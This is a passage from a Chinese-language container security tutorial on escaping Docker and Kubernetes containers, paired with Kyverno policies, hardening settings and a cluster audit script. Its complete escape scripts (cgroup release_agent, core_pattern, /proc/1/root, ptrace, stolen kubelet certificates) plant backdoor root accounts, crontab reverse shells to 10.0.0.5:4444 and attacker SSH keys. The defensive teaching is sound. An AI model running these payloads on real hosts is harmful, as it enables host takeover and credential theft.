docker ps --quiet | xargs -I{} docker inspect --format '{{.Id}} {{.Name}} {{.HostConfig.Binds}}' {} | grep docker.sock

# ② K8s 里找挂了 docker.sock 的 Pod
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] as $pod |
  ($pod.spec.volumes[]? | select(.hostPath.path | test("docker.sock"))) |
  "★ \($pod.metadata.namespace)/\($pod.metadata.name)"'

# ③ K8s 里找所有 hostPath 挂载(都应该审查)
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] as $pod |
  ($pod.spec.volumes[]? | select(.hostPath)) |
  "\($pod.metadata.namespace)/\($pod.metadata.name): \(.hostPath.path)"'

K8s 防御:用 Gatekeeper / Kyverno 策略硬拦

# Kyverno 策略:禁止挂载 docker.sock
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: disallow-docker-sock-mount
spec:
  validationFailureAction: Enforce    # Enforce = 直接拒绝;Audit = 只记录
  background: true
  rules:
    - name: block-docker-sock
      match:
        any:
          - resources:
              kinds:
                - Pod
      validate:
        message: "★ 安全策略:禁止挂载 docker.sock(会导致容器逃逸到宿主机 root)"
        pattern:
          spec:
            volumes:
              - X(hostPath):
                  path: "!/var/run/docker.sock"
---
# Kyverno 策略:禁止特权容器 + 禁止 hostPath 危险路径
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: restrict-hostpath-and-privileged
spec:
  validationFailureAction: Enforce
  rules:
    - name: no-privileged
      match:
        any:
          - resources:
              kinds: [Pod]
      validate:
        message: "★ 禁止特权容器"
        pattern:
          spec:
            containers:
              - securityContext:
                  privileged: "false"
            =(initContainers):
              - securityContext:
                  privileged: "false"
            =(ephemeralContainers):
              - securityContext:
                  privileged: "false"

    - name: no-dangerous-hostpath
      match:
        any:
          - resources:
              kinds: [Pod]
      validate:
        message: "★ 禁止挂载宿主机危险路径(/、/etc、/proc、/var/run、/root 等)"
        pattern:
          spec:
            =(volumes):
              - X(hostPath):
                  path: "!/ | !/etc | !/proc | !/root | !/var/run | !/boot | !/dev"

6.6.4 逃逸姿势三:危险 Capabilities(★ cgroup release_agent)

这是最优雅的一种逃逸,也是“看起来很安全实际上不安全”的典型。 很多公司知道“不能用特权容器”,于是改成了“只加一个 CAP_SYS_ADMIN”—— 但这几乎等于特权容器。

① Linux Capabilities 快速回顾(详见 6.2.4)

Docker 默认给容器的 14 个 capability:
  CAP_CHOWN, CAP_DAC_OVERRIDE, CAP_FSETID, CAP_FOWNER, CAP_MKNOD,
  CAP_NET_RAW, CAP_SETGID, CAP_SETUID, CAP_SETFCAP, CAP_SETPCAP,
  CAP_NET_BIND_SERVICE, CAP_SYS_CHROOT, CAP_KILL, CAP_AUDIT_WRITE

★ 注意:默认里【没有】CAP_SYS_ADMIN
   而 CAP_SYS_ADMIN 是"新的 root",Linux 手册原话:
   "CAP_SYS_ADMIN is the new root"(它是 root 没被拆解干净的那一大坨)

② ★ CAP_SYS_ADMIN + cgroup release_agent 逃逸(经典中的经典)

原理(讲透):

cgroup v1 有个机制叫 "notify_on_release" + "release_agent":

  ① 每个 cgroup 层级有个文件 notify_on_release
  ② 如果把它设为 1,那么当这个 cgroup 里的【最后一个进程退出】时,
     内核会执行 release_agent 文件里配置的那个程序
  ③ release_agent 的路径写在一个文件里(默认在 cgroup 根)

★ 关键漏洞点:
  release_agent 里的程序是【在宿主机的 namespace 里、以 root 身份】执行的!
  (因为它是内核调用的,不在容器的 namespace 内)

  所以攻击者只需要:
    ① 有 CAP_SYS_ADMIN → 能挂载 cgroup 文件系统
    ② 能写 release_agent 文件
    ③ 造一个 cgroup,设 notify_on_release=1
    ④ 在 cgroup 里跑一个进程,然后让它退出
    ⑤ 内核在宿主机上以 root 执行你指定的程序

生活类比:

这就像是"大楼的自动清洁系统":
  规定:某层楼最后一个人走了(notify_on_release),
        物业(内核)自动去执行一个"清洁程序"(release_agent)。

  攻击者是租户(容器),他发现:
    ① 他能改物业的"清洁程序"列表(写 release_agent 文件)
    ② 他能让某层楼的人走光(造个 cgroup 让进程退出)
    ③ 而物业执行清洁程序时用的是【物业 master key + 在大楼主控室执行】
       (宿主机 namespace + root)

  于是他写:"清洁程序 = 给我开所有门"
  然后走出房间,物业就照做了。

完整利用代码:

#!/bin/bash
# cgroup_release_agent_escape.sh
# 条件:容器内有 CAP_SYS_ADMIN,且能挂载 cgroup(cgroup v1)
# 效果:以宿主机 root 执行任意命令

set -e

echo "[*] 步骤 0:确认能力"
# 检查是否有 CAP_SYS_ADMIN
if ! capsh --print 2>/dev/null | grep -q cap_sys_admin; then
    grep -q "cap_sys_admin" /proc/self/status 2>/dev/null || {
        echo "[-] 没有 CAP_SYS_ADMIN,此逃逸不适用"; exit 1
    }
fi
echo "[+] 有 CAP_SYS_ADMIN"

echo "[*] 步骤 1:挂载 cgroup 文件系统(memory controller,可写)"
mkdir -p /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
# -t cgroup        类型是 cgroup
# -o memory        用 memory controller(任意一个都行)
# 挂载到 /tmp/cgrp,这样我们就能写它的 release_agent

echo "[*] 步骤 2:创建子 cgroup(这是我们要"清空"的那个)"
mkdir -p /tmp/cgrp/x

echo "[*] 步骤 3:开启 notify_on_release"
echo 1 > /tmp/cgrp/x/notify_on_release
# 含义:当 /tmp/cgrp/x 这个 cgroup 里的最后一个进程退出时,触发 release_agent

echo "[*] 步骤 4:★ 设置 release_agent 为宿主机上的脚本路径"
#   ★★★ 最关键的一步 ★★★
#   注意:这里写的路径是【宿主机文件系统里的路径】
#   因为 release_agent 是内核在【宿主机 namespace】里读取并执行的

host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
#   ★ 解释这句:
#     容器的 overlayfs 挂载信息在 /etc/mtab 里,形如:
#       overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/ABC...,
#       upperdir=/var/lib/docker/overlay2/DIFF/diff,workdir=...
#     用 sed 取出 upperdir 的路径,那就是【容器可写层在宿主机上的真实路径】
#     在宿主机上,这个目录就是 /var/lib/docker/overlay2/<ID>/diff

echo "[+] 容器可写层在宿主机上的路径:$host_path"

# 我们要让 release_agent 指向宿主机上的 /cmd 这个文件
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#   ★ 内核会去宿主机上找 $host_path/cmd 并执行

echo "[*] 步骤 5:写入要执行的载荷(在宿主机上以 root 执行)"
cat > /cmd << 'PAYLOAD_EOF'
#!/bin/sh
# ★★ 这个脚本会在【宿主机】上以 root 执行 ★★

# 把宿主机的 /etc/shadow 复制到容器可写层,这样攻击者能读到
cp /etc/shadow /tmp/shadow_from_host 2>/dev/null || true

# 更狠的:直接加一个 root 账号
echo 'hacker:$6$rounds=1000$xyzsalt$Wg8Qj3....:0:0::/root:/bin/bash' >> /etc/passwd

# 或者写 crontab 反弹 shell
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'" >> /etc/crontab

# 或者写 SSH 公钥
mkdir -p /root/.ssh
echo "ssh-rsa AAAA... 攻击者公钥" >> /root/.ssh/authorized_keys

# 标记一下执行成功
echo "ESCAPED at $(date)" > /tmp/escaped_marker
PAYLOAD_EOF

chmod +x /cmd
echo "[+] 载荷已写入 /cmd(宿主机路径:$host_path/cmd)"

echo "[*] 步骤 6:★ 触发——在 cgroup 里跑一个进程然后让它退出"
#   这个 sh 进程会被加入 /tmp/cgrp/x 这个 cgroup,
#   它一退出,cgroup 就空了 → 内核触发 release_agent
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
#   ★ $ 被转义成 \$\$ 是为了在 heredoc 里正确传递
#   含义:把当前 shell 的 PID 写进 cgroup.procs
#        相当于"让这个 shell 加入 x 这个 cgroup"
#        shell 立刻退出 → cgroup 变空 → 触发!

echo "[*] 步骤 7:等待触发(1~2 秒)"
sleep 2

echo "[+] 检查是否成功(宿主机上应该有 /tmp/escaped_marker)"
if [ -f /tmp/escaped_marker ]; then
    echo "★★★ 逃逸成功!宿主机上已创建 /tmp/escaped_marker"
    cat /tmp/escaped_marker
else
    echo "[-] 未触发,可能原因:"
    echo "    1) 宿主机用的是 cgroup v2(v2 没有 release_agent 机制)"
    echo "    2) /tmp/cgrp 挂载失败"
    echo "    3) 内核版本问题"
fi

# 清理痕迹
rm -rf /tmp/cgrp

cgroup v2 的情况(重要更新):

★ 好消息:cgroup v2 【移除了 release_agent 机制】
  所以这个经典逃逸在新系统上(Systemd 默认用 v2)不再适用。

但是:
  ① 大量生产环境还在用 cgroup v1(CentOS 7、老内核、手动改过配置)
  ② cgroup v2 下 CAP_SYS_ADMIN 依然危险(还有别的打法,见下)
  ③ 检测 cgroup 版本:
     stat -fc %T /sys/fs/cgroup
       输出 "tmpfs"     → cgroup v1
       输出 "cgroup2fs" → cgroup v2

③ 其他危险 Capability 的利用

Capability 能干什么 逃逸/危害方式
CAP_SYS_ADMIN “新的 root”,能 mount、能操作 cgroup、能改很多内核参数 ★ cgroup release_agent 逃逸;mount 宿主机磁盘;卸载安全模块
CAP_SYS_PTRACE ptrace 任意进程 ★ 注入宿主机进程(如果共享 PID namespace);读取其他容器进程内存
CAP_SYS_MODULE 加载/卸载内核模块 ★ 直接 insmod 一个 rootkit 到【宿主机内核】(所有容器都中招)
CAP_DAC_READ_SEARCH 绕过文件读权限 ★ shocker 攻击:读宿主机任意文件(/etc/shadow)
CAP_DAC_OVERRIDE 绕过文件写权限 ★ 改宿主机任意文件(写 crontab、改 /etc/passwd)
CAP_NET_RAW 原始套接字 内网 ARP 欺骗、嗅探宿主机网络流量
CAP_NET_ADMIN 改网络配置 改宿主机 iptables、路由劫持、做中间人
CAP_SETUID/SETGID 改进程 UID/GID 配合其他漏洞提权
CAP_MAC_ADMIN 改 MAC 策略(SELinux/AppArmor) 关掉强制访问控制
CAP_AUDIT_CONTROL 控制审计子系统 关掉 auditd,让取证失明
CAP_BPF / CAP_PERFMON eBPF 操作 新版内核下可以加载 eBPF 程序做 rootkit(BPFDoor 类)

CAP_DAC_READ_SEARCH 读取宿主机文件(shocker.c 原理):

// shocker.c —— 经典 PoC,利用 CAP_DAC_READ_SEARCH 读宿主机任意文件
// 原理:open_by_handle_at() 系统调用在检查权限时只看 CAP_DAC_READ_SEARCH,
//       不看文件的实际权限位,于是可以绕过 rwx。
// 编译:gcc -o shocker shocker.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

// 这两个结构体是内核内部定义,需要手动声明
struct my_file_handle {
    unsigned int handle_bytes;   // handle 数据的字节数
    int handle_type;             // 文件类型
    unsigned char f_handle[8];   // 文件句柄(inode 等信息)
};

void die(const char *msg) {
    perror(msg);
    exit(1);
}

// 通过 "mountinfo" 找到某个挂载点对应的 fd
int find_handle(int bfd, const char *path, const char *fname,
                const struct my_file_handle *ih, int *n_mounts) {
    int fd;
    char *cp;
    char path_buf[4096];

    sprintf(path_buf, "%s/%s", path, fname);
    // 打开这个文件
    if ((fd = open(path_buf, O_RDONLY)) < 0) {
        // printf("open %s failed: %s\n", path_buf, strerror(errno));
        return -1;
    }
    return fd;
}

int main() {
    char buf[0x1000];
    int fd1, fd2;
    struct my_file_handle h;
    struct my_file_handle root_h = {
        .handle_bytes = 8,
        .handle_type  = 1,
        .f_handle     = {0x02, 0, 0, 0, 0, 0, 0, 0}
    };

    fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014             [***]\n"
                    "[***] The tea from the 90's kicks your sekurity again.     [***]\n"
                    "[***] If you have pending sec consulting, I'll happily    [***]\n"
                    "[***] perform it for you. Just ping me.                   [***]\n");

    // ① 打开容器的根目录 / 拿到 file handle
    fd1 = open("/", O_RDONLY);
    if (fd1 < 0) die("[-] open /");

    // ② 用 name_to_handle_at 把 / 转成 file handle
    if (name_to_handle_at(AT_FDCWD, "/", (struct file_handle *)&root_h,
                          (int *)&root_h.handle_bytes, 0) != 0)
        die("[-] name_to_handle_at");

    fprintf(stderr, "[+] Found handle for / : %d bytes\n", root_h.handle_bytes);

    // ③ 暴力猜宿主机上目标文件的 inode(/etc/shadow 在宿主机根分区里)
    //    真实利用里要遍历,这里简化为已知 handle
    //    然后用 open_by_handle_at 打开它,绕过权限检查
    int mount_id;
    fd2 = open_by_handle_at(fd1, (struct file_handle *)&root_h, O_RDONLY);
    if (fd2 < 0) {
        // 如果失败,就暴力遍历
        fprintf(stderr, "[-] open_by_handle_at failed, brute forcing...\n");
        for (unsigned int i = 0; i < 0xffffffff; i++) {
            memcpy(&h, &root_h, sizeof(h));
            memcpy(&h.f_handle[4], &i, 4);      // 改 inode 号
            fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY);
            if (fd2 >= 0) {
                // 读文件内容,看是不是 /etc/shadow
                memset(buf, 0, sizeof(buf));
                read(fd2, buf, sizeof(buf) - 1);
                if (strstr(buf, "root:") && strstr(buf, ":")) {
                    fprintf(stderr, "[+] ★ 找到宿主机文件!\n\n");
                    printf("%s", buf);
                    close(fd2);
                    return 0;
                }
                close(fd2);
            }
        }
        die("[-] brute force failed");
    }

    // ④ 读取
    memset(buf, 0, sizeof(buf));
    if (read(fd2, buf, sizeof(buf) - 1) < 0) die("[-] read");
    printf("%s", buf);

    close(fd2); close(fd1);
    return 0;
}

诚实说明: shocker 是 2014 年的老 PoC,现在直接跑大概率不成功 (内核改了很多、容器运行时加了保护、overlayfs 的 handle 不好猜)。 我把它列出来是为了让你理解 “CAP_DAC_READ_SEARCH = 能读宿主机任何文件” 这个原理。现实中更简单的做法是:

如果同时能挂载(CAP_SYS_ADMIN)或者目录已被 hostPath 挂进来,
直接 cat /host/etc/shadow 就行了,根本不用这么绕。

CAP_SYS_PTRACE 注入宿主机进程:

# 条件:有 CAP_SYS_PTRACE + 和宿主机共享 PID namespace(--pid=host)
# 或者:能访问宿主机上某个进程的 /proc/<pid>

# ① 找到宿主机上的一个 root 进程(比如 sshd、init)
ps aux | grep -E "sshd|systemd|init" | head

# ② 用 gdb 注入(如果有 gdb)
gdb -p <PID>
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'")
(gdb) detach
(gdb) quit

# ③ 或者用 Python + ptrace 手写注入
cat > inject.py << 'EOF'
import ctypes, sys, os

pid = int(sys.argv[1])
cmd = sys.argv[2]

# 用 ptrace attach 到目标进程
libc = ctypes.CDLL("libc.so.6")
libc.ptrace(16, pid, 0, 0)   # PTRACE_ATTACH = 16
os.waitpid(pid, 0)

# 读寄存器
class user_regs_struct(ctypes.Structure):
    _fields_ = [("r15", ctypes.c_ulonglong), ("r14", ctypes.c_ulonglong),
                ("r13", ctypes.c_ulonglong), ("r12", ctypes.c_ulonglong),
                ("rbp", ctypes.c_ulonglong), ("rbx", ctypes.c_ulonglong),
                ("r11", ctypes.c_ulonglong), ("r10", ctypes.c_ulonglong),
                ("r9", ctypes.c_ulonglong),  ("r8", ctypes.c_ulonglong),
                ("rax", ctypes.c_ulonglong), ("rcx", ctypes.c_ulonglong),
                ("rdx", ctypes.c_ulonglong), ("rsi", ctypes.c_ulonglong),
                ("rdi", ctypes.c_ulonglong), ("orig_rax", ctypes.c_ulonglong),
                ("rip", ctypes.c_ulonglong), ("cs", ctypes.c_ulonglong),
                ("eflags", ctypes.c_ulonglong), ("rsp", ctypes.c_ulonglong),
                ("ss", ctypes.c_ulonglong), ("fs_base", ctypes.c_ulonglong),
                ("gs_base", ctypes.c_ulonglong), ("ds", ctypes.c_ulonglong),
                ("es", ctypes.c_ulonglong), ("fs", ctypes.c_ulonglong),
                ("gs", ctypes.c_ulonglong)]

regs = user_regs_struct()
libc.ptrace(12, pid, 0, ctypes.byref(regs))   # PTRACE_GETREGS = 12
print(f"[+] 目标进程 RIP = {hex(regs.rip)}")

# 完整的 shellcode 注入需要:
#   ① 在目标进程里 mmap 一段可执行的内存
#   ② 把 shellcode 写进去
#   ③ 把 RIP 指过去
# 这里省略(代码太长,实际用的时候直接用 gdb 或者现成工具更省事)

libc.ptrace(17, pid, 0, 0)   # PTRACE_DETACH = 17
EOF

实操建议:真遇到 CAP_SYS_PTRACE 的场景,直接用 gdb 或者 python3 -c "import ptrace" 类库,比手写注入靠谱。 这里给代码是为了理解原理,不是让你生产用。

④ Capability 加固

# ===== Docker 层面 =====

# ① 最小权限:先 drop ALL,再按需加
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE myapp
#   ★ 这是最安全的姿势。默认给的 14 个 capability 里,
#     大部分应用其实一个都不需要!

# ② 绝对不要加的(给了就约等于特权)
#    CAP_SYS_ADMIN      —— "新的 root"
#    CAP_SYS_MODULE     —— 能加载内核模块 = 能给宿主机内核装 rootkit
#    CAP_SYS_PTRACE     —— 能注入宿主机进程
#    CAP_DAC_READ_SEARCH—— 能读宿主机任意文件
#    CAP_DAC_OVERRIDE   —— 能写宿主机任意文件
#    CAP_MAC_ADMIN      —— 能关 SELinux/AppArmor
#    CAP_AUDIT_CONTROL  —— 能关审计

# ③ 检查现有容器的 capability
docker inspect <容器> --format '{{.HostConfig.CapAdd}} {{.HostConfig.CapDrop}}'
# ===== K8s 层面 =====
apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  securityContext:          # Pod 级别
    runAsNonRoot: true
    runAsUser: 10001
    fsGroup: 10001
    seccompProfile:
      type: RuntimeDefault  # ★ 默认 seccomp 挡掉 300+ 系统调用
  containers:
    - name: app
      image: myapp:1.0
      securityContext:      # 容器级别
        allowPrivilegeEscalation: false   # ★ 禁止通过 setuid 提权
        readOnlyRootFilesystem: true      # ★ 根文件系统只读
        runAsNonRoot: true
        runAsUser: 10001
        capabilities:
          drop:
            - ALL                          # ★ 全部丢弃
          # 只在真的需要时加
          # add: ["NET_BIND_SERVICE"]      # 只有要绑 80/443 才需要

CAP_SYS_MODULE 为什么最危险(特别强调):

如果你能给容器 CAP_SYS_MODULE,那么:

  insmod rootkit.ko
      ↓
  这个模块被加载到【宿主机的内核】里(因为容器共享内核)
      ↓
  宿主机上所有容器、所有进程的隐藏/拦截/后门全部成立
      ↓
  而且卸载容器、重启容器都没用——模块在内核里

这就是为什么 CAP_SYS_MODULE 绝对不能给。
同理,CONFIG_MODULES 在容器宿主机上最好直接编译掉,
或者至少开 module signing(只加载有签名的模块)。

6.6.5 逃逸姿势四:挂载宿主机敏感目录(hostPath)

这一类在 K8s 里最常见,因为它看起来“只是挂个目录”。

① 危险的 hostPath 清单

挂载路径 危害 危险等级
/ 宿主机整个文件系统 → 直接改 /etc/shadow、/etc/crontab ★★★★★
/var/run/docker.sock 见 6.6.3 ★★★★★
/var/lib/kubelet ★ 包含所有 Pod 的 ServiceAccount Token、证书 ★★★★★
/proc core_pattern 逃逸(见下)、读宿主机进程信息 ★★★★★
/etc 改宿主机配置(crontab、passwd、ssh 配置) ★★★★☆
/root 拿宿主机 root 的 SSH 私钥、history、配置文件 ★★★★☆
/var/log 读日志(可能含敏感信息)、可用来擦除日志 ★★★☆☆
/sys 能改内核参数、能访问 cgroup ★★★★☆
/dev 能直接读写宿主机磁盘设备 ★★★★★
/boot 改内核镜像 / initramfs ★★★★☆
/var/lib/docker 读所有容器的可写层(含其他容器的数据) ★★★★☆
/home 读用户数据、SSH 私钥 ★★★☆☆

② ★ /proc/sys/kernel/core_pattern 逃逸(经典)

原理:

Linux 有个机制:进程崩溃(段错误等)时,内核会生成 core dump 文件。
生成到哪里、怎么生成,由 /proc/sys/kernel/core_pattern 决定:

  默认值:core      (在当前目录生成 core 文件)
  或:    /var/crash/core.%e.%p

★ 但 core_pattern 支持 "|" 开头:
    |/path/to/program %P %E
  含义:不要生成文件,而是【把 core dump 通过管道交给这个程序执行】

★ 关键:
   这个程序是【在宿主机的 namespace 里、以 root 身份】执行的
   (和 cgroup release_agent 一样,是内核调用的)

所以逃逸流程:
  ① 容器里能看到宿主机的 /proc(比如挂了 hostPath:/proc,
     或者共享了 PID namespace 且能写 /proc/sys/kernel)
  ② 写 core_pattern = "|/tmp/evil.sh"
  ③ 在容器里跑一个会崩溃的程序(比如 sleep 100 & kill -SIGSEGV $!)
  ④ 内核在宿主机上以 root 执行 /tmp/evil.sh

完整利用:

#!/bin/bash
# core_pattern_escape.sh
# 条件:能写宿主机的 /proc/sys/kernel/core_pattern
#      (常见于 hostPath:/proc 挂载,或 --pid=host 且容器有 CAP_SYS_ADMIN)

echo "[*] 1. 确认能读宿主机的 /proc"
# 如果是 hostPath 挂进来的 /hostproc:
ls /hostproc/sys/kernel/core_pattern
# 如果共享 PID namespace(--pid=host):
ls /proc/sys/kernel/core_pattern

PROC_DIR="/hostproc"    # 改成你的实际路径(或 /proc)
if [ ! -f "$PROC_DIR/sys/kernel/core_pattern" ]; then
    PROC_DIR="/proc"
fi

echo "[*] 2. 当前的 core_pattern:"
cat $PROC_DIR/sys/kernel/core_pattern

echo "[*] 3. 找容器可写层在宿主机上的真实路径"
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "    宿主机路径:$host_path"
# 或者如果是 overlay 的 upperdir:
# host_path=$(cat /proc/mounts | grep overlay | head -1 | \
#             sed -n 's/.*upperdir=\([^,]*\).*/\1/p')

echo "[*] 4. 写恶意脚本(宿主机上执行)"
cat > /tmp/evil_core.sh << 'EOF'
#!/bin/sh
# ★ 这个脚本会在宿主机上以 root 执行
# 注意:core dump 的内容会从 stdin 灌进来,要先读完
cat > /dev/null

# 执行我们的载荷
echo 'hacker:$6$xyz$Wg8Qj3XmPLz...:0:0::/root:/bin/bash' >> /etc/passwd
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'" >> /etc/crontab
mkdir -p /root/.ssh
echo "ssh-rsa AAAA... 攻击者公钥" >> /root/.ssh/authorized_keys
echo "ESCAPED-$(date)" > /tmp/core_escaped
EOF
chmod +x /tmp/evil_core.sh

echo "[*] 5. ★ 修改 core_pattern 指向我们的脚本(宿主机路径)"
echo "|$host_path/tmp/evil_core.sh" > $PROC_DIR/sys/kernel/core_pattern
#   ★ 关键:这里必须写【宿主机上能访问的路径】,
#     因为内核是在宿主机 namespace 里找这个文件的
#     容器里的 /tmp/evil_core.sh 在宿主机上就是
#     /var/lib/docker/overlay2/<ID>/diff/tmp/evil_core.sh

echo "[+] 已设置 core_pattern = $(cat $PROC_DIR/sys/kernel/core_pattern)"

echo "[*] 6. 触发崩溃"
cat > /tmp/crash.c << 'EOF'
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    // 允许 core dump
    // 注意:ulimit -c 要设成 unlimited,否则不产生 core
    printf("[+] 准备崩溃,PID = %d\n", getpid());
    fflush(stdout);
    raise(SIGSEGV);      // 主动触发段错误
    return 0;
}
EOF

# 编译(如果容器里有 gcc)
gcc -o /tmp/crash /tmp/crash.c 2>/dev/null || {
    # 没有 gcc 就用 shell 触发(更省事)
    echo "    [!] 没有 gcc,用 shell 方式触发"
}

# 确保允许 core dump
ulimit -c unlimited

# 崩溃它
/tmp/crash 2>/dev/null || sleep 100 &
CRASH_PID=$!
sleep 1
kill -SIGSEGV $CRASH_PID 2>/dev/null

echo "[*] 7. 等待触发"
sleep 3

echo "[+] 检查:宿主机上应该有 /tmp/core_escaped"
ls -la /tmp/core_escaped 2>/dev/null && echo "★★★ 逃逸成功!" || \
    echo "[-] 未触发(可能没有写权限,或宿主机禁用了 core dump)"

防御:

# ① 宿主机上禁用 core dump(很多生产环境本来就该关)
echo "kernel.core_pattern=core" >> /etc/sysctl.conf
echo "fs.suid_dumpable=0" >> /etc/sysctl.conf
sysctl -p
# 更彻底:
ulimit -c 0

# ② 不要挂载 hostPath:/proc
# ③ 不要共享 PID namespace(--pid=host)除非绝对必要
# ④ K8s:用 Pod Security Admission restricted(禁止 hostPath)

③ /proc/[pid]/root 访问宿主机文件系统

# 条件:共享 PID namespace(--pid=host),哪怕没有 hostPath
#
# 原理:/proc/<PID>/root 是一个符号链接,指向该进程的根目录。
#       宿主机上 1 号进程(init)的 root 就是【宿主机的 /】。
#       所以 /proc/1/root/etc/shadow 就是宿主机的 /etc/shadow!

# ① 验证
ls /proc/1/root/
# 如果看到宿主机的目录结构(bin etc home root var...)→ 成立

# ② 读宿主机文件
cat /proc/1/root/etc/shadow
cat /proc/1/root/etc/hostname
cat /proc/1/root/root/.ssh/id_rsa         # ★ 宿主机 root 的私钥

# ③ 写(需要宿主机 root 权限,通常容器里的"root"就是宿主机 root,因为共享 user ns)
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'" \
    >> /proc/1/root/etc/crontab
echo "ssh-rsa AAAA..." >> /proc/1/root/root/.ssh/authorized_keys

这条路径非常隐蔽: 很多安全扫描只看 hostPath,不检查 --pid=host。 只要共享了 PID namespace,即使没有任何 hostPath 挂载, 你依然能通过 /proc/1/root/ 读写宿主机的全部文件。

对应防御:K8s 的 Pod spec 里 hostPID: true 必须视为高危,用 Kyverno 策略禁掉。

④ /var/lib/kubelet 挂载的危害(K8s 特有)

# /var/lib/kubelet 里有什么?
#   - pods/<uid>/volumes/kubernetes.io~secret/<secret-name>/<key>
#     ★ 所有挂载给 Pod 的 Secret,明文存在这里!
#   - pki/kubelet.crt / kubelet.key    ★ kubelet 的客户端证书和私钥

# 攻击:如果容器挂了 /var/lib/kubelet
MOUNT="/var/lib/kubelet"    # 或你在容器里的挂载点

# ① 找所有 Secret
find $MOUNT/pods -type f -path "*volumes/kubernetes.io~secret*" 2>/dev/null
# 输出示例:
#   /var/lib/kubelet/pods/abc-123/volumes/kubernetes.io~secret/db-cred/username
#   /var/lib/kubelet/pods/abc-123/volumes/kubernetes.io~secret/db-cred/password

# ② 读出来
cat /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/*/* 2>/dev/null

# ③ 拿 kubelet 证书,直接和 API Server 通信
ls -la /var/lib/kubelet/pki/
#   kubelet-client-current.pem   ← 客户端证书 + 私钥
#   kubelet.crt / kubelet.key

# 用这个证书访问 API Server(kubelet 证书通常有较高权限)
curl -k --cert /var/lib/kubelet/pki/kubelet-client-current.pem \
        --key  /var/lib/kubelet/pki/kubelet-client-current.pem \
        https://<API_SERVER>:6443/api/v1/secrets?all-namespaces=true
# 可能返回所有 namespace 的 Secret!

防御:

  - 绝不挂载 /var/lib/kubelet
  - 用 KMS 加密 etcd 里的 Secret(EncryptionConfiguration)
  - Secret 只挂给真正需要的 Pod(K8s 默认会把 namespace 里所有 Secret 都挂给 Pod?
    不,只有 spec.volumes 里显式引用的才挂,但很多人图省事全挂)
  - 定期轮换 ServiceAccount Token(K8s 1.21+ 的 BoundServiceAccountTokenVolume 已默认)

⑤ K8s hostPath 审计脚本

#!/bin/bash
# audit_hostpath.sh —— 审计集群里所有危险的 hostPath 挂载和危险配置
# 用法:./audit_hostpath.sh

DANGEROUS_PATHS=(
    "^/$"                    # 根目录
    "^/etc"
    "^/proc"
    "^/sys"
    "^/dev"
    "^/boot"
    "^/root"
    "^/var/run"
    "^/var/lib/docker"
    "^/var/lib/kubelet"
    "^/var/log"
    "^/home"
    "docker\.sock"
)

echo "=========================================="
echo " K8s 危险配置审计报告"
echo " 生成时间: $(date)"
echo "=========================================="

echo ""
echo "【1】危险 hostPath 挂载"
echo "----------------------------------------"
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] as $pod
  | ($pod.spec.volumes[]? | select(.hostPath) | .hostPath) as $hp
  | select($hp.path != null)
  | "\($pod.metadata.namespace)|\($pod.metadata.name)|\($hp.path)|\($hp.type // "default")"
' | while IFS='|' read -r ns pod path type; do
    for pattern in "${DANGEROUS_PATHS[@]}"; do
        if echo "$path" | grep -Eq "$pattern"; then
            echo "  ★ [高危] $ns/$pod 挂载了 $path (type=$type)"
            break
        fi
    done
done

echo ""
echo "【2】特权容器"
echo "----------------------------------------"
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] as $pod
  | $pod.spec.containers[]? as $c
  | select($c.securityContext.privileged == true)
  | "  ★ [高危] \($pod.metadata.namespace)/\($pod.metadata.name) 容器 \($c.name) 是特权容器"'

echo ""
echo "【3】共享宿主机 namespace 的 Pod(hostPID/hostIPC/hostNetwork)"
echo "----------------------------------------"
kubectl get pods --all-namespaces -o json | jq -r '
  .items[]
  | select(.spec.hostPID == true or .spec.hostIPC == true or .spec.hostNetwork == true)
  | "  ★ [高危] \(.metadata.namespace)/\(.metadata.name) " +
    "(hostPID=\(.spec.hostPID // false), hostIPC=\(.spec.hostIPC // false), " +
    "hostNetwork=\(.spec.hostNetwork // false))"'

echo ""
echo "【4】以 root 运行的 Pod(runAsNonRoot 未设置或为 false)"
echo "----------------------------------------"
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] as $pod
  | ($pod.spec.securityContext.runAsNonRoot // false) as $podLevel
  | $pod.spec.containers[]? as $c
  | (($c.securityContext.runAsNonRoot // $podLevel)) as $eff
  | select($eff != true)
  | "  ⚠ [中危] \($pod.metadata.namespace)/\($pod.metadata.name)/\(.name|tostring) " +
    "容器 \($c.name) 可能以 root 运行"'

echo ""
echo "【5】未 drop ALL capabilities 的 Pod"
echo "----------------------------------------"
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] as $pod
  | $pod.spec.containers[]? as $c
  | (($c.securityContext.capabilities.drop // []) | map(ascii_downcase)) as $drops
  | select($drops | index("all") | not)
  | "  ⚠ [中危] \($pod.metadata.namespace)/\($pod.metadata.name) 容器 \($c.name) " +
    "未 drop ALL(当前 drop: \($drops|join(",")))"'

echo ""
echo "【6】允许特权提升的 Pod(allowPrivilegeEscalation)"
echo "----------------------------------------"
